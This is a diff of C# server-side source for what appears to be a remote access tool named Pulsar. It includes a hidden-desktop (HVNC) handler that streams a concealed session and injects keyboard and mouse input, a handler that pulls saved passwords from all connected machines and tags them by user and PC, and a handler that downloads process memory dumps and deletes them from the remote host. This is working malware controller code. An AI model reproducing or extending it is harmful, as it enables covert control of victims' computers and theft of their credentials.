|
||||
/// This property is thread-safe.
|
||||
/// </remarks>
|
||||
public Size LocalResolution
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
return _localResolution;
|
||||
}
|
||||
}
|
||||
set
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
_localResolution = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle display changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="displays">The currently available displays.</param>
|
||||
public delegate void DisplaysChangedEventHandler(object sender, int displays);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when displays change.
|
||||
/// </summary>
|
||||
public event DisplaysChangedEventHandler DisplaysChanged;
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this remote desktop handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// The video stream codec used to decode received frames.
|
||||
/// </summary>
|
||||
private UnsafeStreamCodec _codec;
|
||||
|
||||
// buffer parameters
|
||||
private readonly int _initialFramesRequested = 5; // request 5 frames initially
|
||||
private readonly int _defaultFrameRequestBatch = 3;
|
||||
private int _pendingFrames = 0;
|
||||
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
|
||||
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch();
|
||||
private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
|
||||
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
|
||||
|
||||
private DateTime _lastFrameRequest = DateTime.MinValue;
|
||||
|
||||
private readonly Stopwatch _performanceMonitor = new Stopwatch();
|
||||
private int _framesReceived = 0;
|
||||
private double _estimatedFps = 0;
|
||||
|
||||
private long _accumulatedFrameBytes = 0;
|
||||
private int _frameBytesSamples = 0;
|
||||
private long _lastFrameBytes = 0;
|
||||
|
||||
private bool _disposed;
|
||||
|
||||
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
|
||||
public double AverageFrameSizeBytes
|
||||
{
|
||||
get
|
||||
{
|
||||
long total = Interlocked.Read(ref _accumulatedFrameBytes);
|
||||
int count = Volatile.Read(ref _frameBytesSamples);
|
||||
return count > 0 ? (double)total / count : 0.0;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Stores the last FPS reported by the client.
|
||||
/// </summary>
|
||||
private float _lastReportedFps = -1f;
|
||||
|
||||
/// <summary>
|
||||
/// Shows the last FPS reported by the client, or estimated FPS if not available.
|
||||
/// </summary>
|
||||
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
|
||||
|
||||
/// <summary>
|
||||
/// Shows the estimated frames per second (FPS) based on the last second of received frames.
|
||||
/// </summary>
|
||||
public float LastReportedFps => _lastReportedFps;
|
||||
|
||||
public static Size resolution = new Size(0, 0);
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RemoteDesktopHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public HVNCHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
_performanceMonitor.Start();
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetHVNCDesktopResponse || message is GetHVNCMonitorsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetHVNCDesktopResponse response:
|
||||
Execute(sender, response);
|
||||
break;
|
||||
case GetHVNCMonitorsResponse response:
|
||||
Execute(sender, response);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private async void Execute(ISender client, GetHVNCDesktopResponse message)
|
||||
{
|
||||
_framesReceived++;
|
||||
|
||||
resolution = new Size { Height = message.Resolution.Height, Width = message.Resolution.Width };
|
||||
|
||||
// capture the FPS reported by the client
|
||||
if (message.Fps > 0)
|
||||
{
|
||||
_lastReportedFps = message.Fps;
|
||||
Debug.WriteLine($"Client-reported FPS: {_lastReportedFps}");
|
||||
}
|
||||
|
||||
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
|
||||
Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Frames received: {_framesReceived}");
|
||||
_framesReceived = 0;
|
||||
_performanceMonitor.Restart();
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted)
|
||||
return;
|
||||
|
||||
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
|
||||
}
|
||||
|
||||
if (message.Image != null)
|
||||
{
|
||||
long size = message.Image.LongLength;
|
||||
Interlocked.Exchange(ref _lastFrameBytes, size);
|
||||
Interlocked.Add(ref _accumulatedFrameBytes, size);
|
||||
Interlocked.Increment(ref _frameBytesSamples);
|
||||
}
|
||||
|
||||
using (var ms = new MemoryStream(message.Image))
|
||||
{
|
||||
try
|
||||
{
|
||||
var decoded = _codec.DecodeData(ms);
|
||||
if (decoded != null)
|
||||
{
|
||||
EnsureLocalResolutionInitialized(decoded.Size);
|
||||
OnReport(decoded);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error decoding frame: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
message.Image = null;
|
||||
|
||||
long timestamp = message.Timestamp;
|
||||
_frameTimestamps.Enqueue(timestamp);
|
||||
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
|
||||
|
||||
Interlocked.Decrement(ref _pendingFrames);
|
||||
}
|
||||
|
||||
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 1))
|
||||
{
|
||||
await RequestMoreFramesAsync();
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetHVNCMonitorsResponse message)
|
||||
{
|
||||
OnDisplaysChanged(message.Number);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed displays.
|
||||
/// </summary>
|
||||
/// <param name="displays">All currently available displays.</param>
|
||||
private void OnDisplaysChanged(int displays)
|
||||
{
|
||||
SynchronizationContext.Post(val =>
|
||||
{
|
||||
var handler = DisplaysChanged;
|
||||
handler?.Invoke(this, (int)val);
|
||||
}, displays);
|
||||
}
|
||||
|
||||
private void EnsureLocalResolutionInitialized(Size fallbackSize)
|
||||
{
|
||||
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var current = LocalResolution;
|
||||
if (current.Width <= 0 || current.Height <= 0)
|
||||
{
|
||||
LocalResolution = fallbackSize;
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearTimeStamps()
|
||||
{
|
||||
while (_frameTimestamps.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins receiving frames from the client using the specified quality and display.
|
||||
/// </summary>
|
||||
/// <param name="quality">The quality of the remote desktop frames.</param>
|
||||
/// <param name="display">The display to receive frames from.</param>
|
||||
/// <param name="useGPU">Whether to use GPU for screen capture.</param>
|
||||
public void BeginReceiveFrames(int quality, int display, bool useGPU)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException(nameof(HVNCHandler));
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = true;
|
||||
_codec?.Dispose();
|
||||
_codec = null;
|
||||
|
||||
// Reset buffering counters
|
||||
_pendingFrames = _initialFramesRequested;
|
||||
ClearTimeStamps();
|
||||
_framesReceived = 0;
|
||||
_frameReceiptStopwatch.Restart();
|
||||
|
||||
// Start in buffered mode
|
||||
_client.Send(new GetHVNCDesktop
|
||||
{
|
||||
CreateNew = true,
|
||||
Quality = quality,
|
||||
DisplayIndex = display,
|
||||
Status = RemoteDesktopStatus.Start,
|
||||
UseGPU = useGPU,
|
||||
IsBufferedMode = IsBufferedMode,
|
||||
FramesRequested = _initialFramesRequested
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends receiving frames from the client.
|
||||
/// </summary>
|
||||
public void EndReceiveFrames()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
|
||||
Debug.WriteLine("HVNC session stopped");
|
||||
|
||||
_client.Send(new GetHVNCDesktop { Status = RemoteDesktopStatus.Stop });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// States whether remote mouse input is enabled.
|
||||
/// </summary>
|
||||
private bool _enableMouseInput = true;
|
||||
|
||||
/// <summary>
|
||||
/// States whether remote keyboard input is enabled.
|
||||
/// </summary>
|
||||
private bool _enableKeyboardInput = true;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the maximum frames per second for HVNC stream.
|
||||
/// </summary>
|
||||
public int MaxFramesPerSecond { get; set; } = 30;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether adaptive frame rate is enabled (reduces FPS when form is processing slowly).
|
||||
/// </summary>
|
||||
public bool AdaptiveFrameRate { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether mouse input is enabled.
|
||||
/// </summary>
|
||||
public bool EnableMouseInput
|
||||
{
|
||||
get => _enableMouseInput;
|
||||
set => _enableMouseInput = value;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether keyboard input is enabled.
|
||||
/// </summary>
|
||||
public bool EnableKeyboardInput
|
||||
{
|
||||
get => _enableKeyboardInput;
|
||||
set => _enableKeyboardInput = value;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a mouse event to the client.
|
||||
/// </summary>
|
||||
/// <param name="message">The Windows message type (WM_LBUTTONDOWN, WM_MOUSEMOVE, etc.).</param>
|
||||
/// <param name="wParam">The wParam value.</param>
|
||||
/// <param name="lParam">The lParam value containing coordinates.</param>
|
||||
public void SendMouseEvent(uint message, int wParam, int lParam)
|
||||
{
|
||||
if (!_enableMouseInput || _disposed) return;
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted) return;
|
||||
|
||||
if (_codec != null && LocalResolution.Width > 0 && LocalResolution.Height > 0)
|
||||
{
|
||||
int x = lParam & 0xFFFF;
|
||||
int y = (lParam >> 16) & 0xFFFF;
|
||||
|
||||
int remoteX = x * _codec.Resolution.Width / LocalResolution.Width;
|
||||
int remoteY = y * _codec.Resolution.Height / LocalResolution.Height;
|
||||
lParam = (remoteY << 16) | (remoteX & 0xFFFF);
|
||||
}
|
||||
|
||||
_client.Send(new DoHVNCInput
|
||||
{
|
||||
msg = message,
|
||||
wParam = wParam,
|
||||
lParam = lParam
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a keyboard event to the client.
|
||||
/// </summary>
|
||||
/// <param name="message">The Windows message type (WM_KEYDOWN, WM_KEYUP, etc.).</param>
|
||||
/// <param name="wParam">The wParam value (virtual key code).</param>
|
||||
/// <param name="lParam">The lParam value.</param>
|
||||
public void SendKeyboardEvent(uint message, int wParam, int lParam)
|
||||
{
|
||||
if (!_enableKeyboardInput || _disposed) return;
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted) return;
|
||||
|
||||
_client.Send(new DoHVNCInput
|
||||
{
|
||||
msg = message,
|
||||
wParam = wParam,
|
||||
lParam = lParam
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the available displays of the client.
|
||||
/// </summary>
|
||||
public void RefreshDisplays()
|
||||
{
|
||||
Debug.WriteLine("Refreshing HVNC displays");
|
||||
_client.Send(new GetHVNCMonitors());
|
||||
}
|
||||
|
||||
private async Task RequestMoreFramesAsync()
|
||||
{
|
||||
bool acquired;
|
||||
try
|
||||
{
|
||||
acquired = await _frameRequestSemaphore.WaitAsync(0).ConfigureAwait(false);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (!acquired)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
int targetFps = MaxFramesPerSecond;
|
||||
|
||||
if (AdaptiveFrameRate && _pendingFrames > 2)
|
||||
{
|
||||
targetFps = Math.Max(15, targetFps / 2);
|
||||
Debug.WriteLine($"Adaptive frame rate: reducing to {targetFps} FPS (pending frames: {_pendingFrames})");
|
||||
}
|
||||
|
||||
int minIntervalMs = 1000 / Math.Max(1, targetFps);
|
||||
|
||||
var timeSinceLastRequest = DateTime.Now - _lastFrameRequest;
|
||||
if (timeSinceLastRequest.TotalMilliseconds < minIntervalMs)
|
||||
{
|
||||
int delayMs = minIntervalMs - (int)timeSinceLastRequest.TotalMilliseconds;
|
||||
Debug.WriteLine($"Frame rate limiting: waiting {delayMs}ms (target: {targetFps} FPS)");
|
||||
await Task.Delay(delayMs).ConfigureAwait(false);
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
int batchSize = AdaptiveFrameRate && _pendingFrames > 1 ? 1 : _defaultFrameRequestBatch;
|
||||
|
||||
Debug.WriteLine($"Requesting {batchSize} more frames (pending: {_pendingFrames})");
|
||||
Interlocked.Add(ref _pendingFrames, batchSize);
|
||||
_lastFrameRequest = DateTime.Now;
|
||||
|
||||
if (!_disposed)
|
||||
{
|
||||
_client.Send(new GetHVNCDesktop
|
||||
{
|
||||
CreateNew = false,
|
||||
Quality = _codec?.ImageQuality ?? 75,
|
||||
DisplayIndex = _codec?.Monitor ?? 0,
|
||||
Status = RemoteDesktopStatus.Continue,
|
||||
IsBufferedMode = true,
|
||||
FramesRequested = batchSize
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
// Ignore disposal races during shutdown.
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
_frameRequestSemaphore.Release();
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_disposed = true;
|
||||
IsStarted = false;
|
||||
}
|
||||
try
|
||||
{
|
||||
_frameRequestSemaphore.Dispose();
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.FileManager;
|
||||
using Pulsar.Common.Messages.Administration.TaskManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Models;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using static Pulsar.Server.Messages.FileManagerHandler;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
public class MemoryDumpHandler : MessageProcessorBase<string>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Raised when a dump transfer updated.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event FileTransferUpdatedEventHandler FileTransferUpdated;
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this memory dump handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
private readonly FileManagerHandler _fileManagerHandler;
|
||||
|
||||
private readonly DoProcessDumpResponse _activeDump;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="MemoryDumpHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
/// <param name="response">The process dump this handler tracks.</param>
|
||||
public MemoryDumpHandler(Client client, DoProcessDumpResponse response) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
_activeDump = response;
|
||||
_fileManagerHandler = new FileManagerHandler(client);
|
||||
_fileManagerHandler.FileTransferUpdated += OnFileTransferUpdateForward;
|
||||
MessageHandler.Register(_fileManagerHandler);
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is FileTransferComplete;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case FileTransferComplete complete:
|
||||
Execute(sender, complete);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender sender, FileTransferComplete complete)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
private void OnFileTransferUpdateForward(object sender, FileTransfer transfer)
|
||||
{
|
||||
FileTransferUpdated?.Invoke(sender, transfer);
|
||||
}
|
||||
|
||||
public void Cleanup(FileTransfer transfer)
|
||||
{
|
||||
_fileManagerHandler.DeleteFile(transfer.RemotePath, FileType.File);
|
||||
}
|
||||
|
||||
public void BeginDumpDownload(DoProcessDumpResponse response)
|
||||
{
|
||||
string fileName = $"{response.UnixTime}_{response.Pid}_{response.ProcessName}.dmp";
|
||||
this._fileManagerHandler.BeginDownloadFile(response.DumpPath, fileName, true);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
this._fileManagerHandler.FileTransferUpdated -= OnFileTransferUpdateForward;
|
||||
MessageHandler.Unregister(this._fileManagerHandler);
|
||||
this._fileManagerHandler.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.Passwords;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote password recovery.
|
||||
/// </summary>
|
||||
public class PasswordRecoveryHandler : MessageProcessorBase<object>
|
||||
{
|
||||
/// <summary>
|
||||
/// The clients which is associated with this password recovery handler.
|
||||
/// </summary>
|
||||
private readonly Client[] _clients;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle recovered accounts.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="clientIdentifier">A unique client identifier.</param>
|
||||
/// <param name="accounts">The recovered accounts</param>
|
||||
public delegate void AccountsRecoveredEventHandler(object sender, string clientIdentifier, List<RecoveredAccount> accounts);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when accounts got recovered.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event AccountsRecoveredEventHandler AccountsRecovered;
|
||||
|
||||
/// <summary>
|
||||
/// Reports recovered accounts from a client.
|
||||
/// </summary>
|
||||
/// <param name="accounts">The recovered accounts.</param>
|
||||
/// <param name="clientIdentifier">A unique client identifier.</param>
|
||||
private void OnAccountsRecovered(List<RecoveredAccount> accounts, string clientIdentifier)
|
||||
{
|
||||
SynchronizationContext.Post(d =>
|
||||
{
|
||||
var handler = AccountsRecovered;
|
||||
handler?.Invoke(this, clientIdentifier, (List<RecoveredAccount>)d);
|
||||
}, accounts);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="PasswordRecoveryHandler"/> class using the given clients.
|
||||
/// </summary>
|
||||
/// <param name="clients">The associated clients.</param>
|
||||
public PasswordRecoveryHandler(Client[] clients) : base(true)
|
||||
{
|
||||
_clients = clients;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetPasswordsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender));
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetPasswordsResponse pass:
|
||||
Execute(sender, pass);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the account recovery with the associated clients.
|
||||
/// </summary>
|
||||
public void BeginAccountRecovery()
|
||||
{
|
||||
var req = new GetPasswords();
|
||||
foreach (var client in _clients.Where(client => client != null))
|
||||
client.Send(req);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetPasswordsResponse message)
|
||||
{
|
||||
Client c = (Client)client;
|
||||
|
||||
string userAtPc = $"{c.Value.Username}@{c.Value.PcName}";
|
||||
|
||||
OnAccountsRecovered(message.RecoveredAccounts, userAtPc);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles ping messages for measuring network latency.
|
||||
/// </summary>
|
||||
public class PingHandler : MessageProcessorBase<int>
|
||||
{
|
||||
/// <summary>
|
||||
/// The client which is associated with this ping handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Stores the timestamp when the ping request was sent.
|
||||
/// </summary>
|
||||
private long _pingRequestTimestamp;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="PingHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public PingHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is PingResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case PingResponse pingResponse:
|
||||
Execute(sender, pingResponse);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, PingResponse message)
|
||||
{
|
||||
double pingMs = 0;
|
||||
if (_pingRequestTimestamp != 0)
|
||||
{
|
||||
long freq = Stopwatch.Frequency;
|
||||
long now = Stopwatch.GetTimestamp();
|
||||
pingMs = ((now - _pingRequestTimestamp) * 1000.0) / freq;
|
||||
_pingRequestTimestamp = 0;
|
||||
}
|
||||
|
||||
OnReport((int)Math.Round(pingMs));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a ping request to the client.
|
||||
/// </summary>
|
||||
public void SendPing()
|
||||
{
|
||||
_pingRequestTimestamp = Stopwatch.GetTimestamp();
|
||||
_client.Send(new PingRequest());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.Preview;
|
||||
using Pulsar.Common.Messages.Webcam;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using Pulsar.Server.Controls;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
public class PreviewHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
private readonly object _syncLock = new object();
|
||||
private readonly PictureBox _box;
|
||||
private readonly Client _client;
|
||||
private UnsafeStreamCodec _codec;
|
||||
private ListView _verticleStatsTable;
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _sizeLock = new object();
|
||||
|
||||
private int _lastPingMs = -1;
|
||||
private GetPreviewResponse _lastPreviewResponse;
|
||||
|
||||
/// <summary>
|
||||
/// The ping handler for measuring network latency separately from preview requests.
|
||||
/// </summary>
|
||||
private readonly PingHandler _pingHandler;public PreviewHandler(Client client, PictureBox box, ListView importantStatsView) : base(true)
|
||||
{
|
||||
_box = box;
|
||||
_client = client;
|
||||
LocalResolution = box.Size;
|
||||
_verticleStatsTable = importantStatsView;
|
||||
_pingHandler = new PingHandler(client);
|
||||
_pingHandler.ProgressChanged += OnPingReceived;
|
||||
MessageHandler.Register(_pingHandler);
|
||||
try
|
||||
{
|
||||
_pingHandler.SendPing();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error sending initial ping: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called when a ping response is received.
|
||||
/// </summary>
|
||||
/// <param name="sender">The ping handler.</param>
|
||||
/// <param name="pingMs">The ping time in milliseconds.</param>
|
||||
private void OnPingReceived(object sender, int pingMs)
|
||||
{
|
||||
SetLastPing(pingMs);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution, see <seealso cref="LocalResolution"/>.
|
||||
/// </summary>
|
||||
private Size _localResolution;
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This property is thread-safe.
|
||||
/// </remarks>
|
||||
public Size LocalResolution
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
return _localResolution;
|
||||
}
|
||||
}
|
||||
set
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
_localResolution = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is GetPreviewResponse;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetPreviewResponse frame:
|
||||
Execute(sender, frame);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetPreviewResponse message)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
|
||||
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
|
||||
}
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(message.Image))
|
||||
{
|
||||
try
|
||||
{
|
||||
Bitmap boxmap = new Bitmap(_codec.DecodeData(ms), LocalResolution);
|
||||
OnReport(boxmap);
|
||||
|
||||
_box.Image = boxmap;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error decoding image: " + ex.Message);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
message.Image = null;
|
||||
|
||||
if (_verticleStatsTable.InvokeRequired)
|
||||
{
|
||||
_verticleStatsTable.Invoke(new MethodInvoker(() =>
|
||||
{
|
||||
UpdateStats(message);
|
||||
}));
|
||||
}
|
||||
else
|
||||
{
|
||||
UpdateStats(message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SetLastPing(int ms)
|
||||
{
|
||||
_lastPingMs = ms;
|
||||
if (_verticleStatsTable != null && _verticleStatsTable.IsHandleCreated && _lastPreviewResponse != null)
|
||||
{
|
||||
if (_verticleStatsTable.InvokeRequired)
|
||||
{
|
||||
_verticleStatsTable.Invoke(new MethodInvoker(() => UpdateStats(_lastPreviewResponse)));
|
||||
}
|
||||
else
|
||||
{
|
||||
UpdateStats(_lastPreviewResponse);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateStats(GetPreviewResponse message)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (message == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
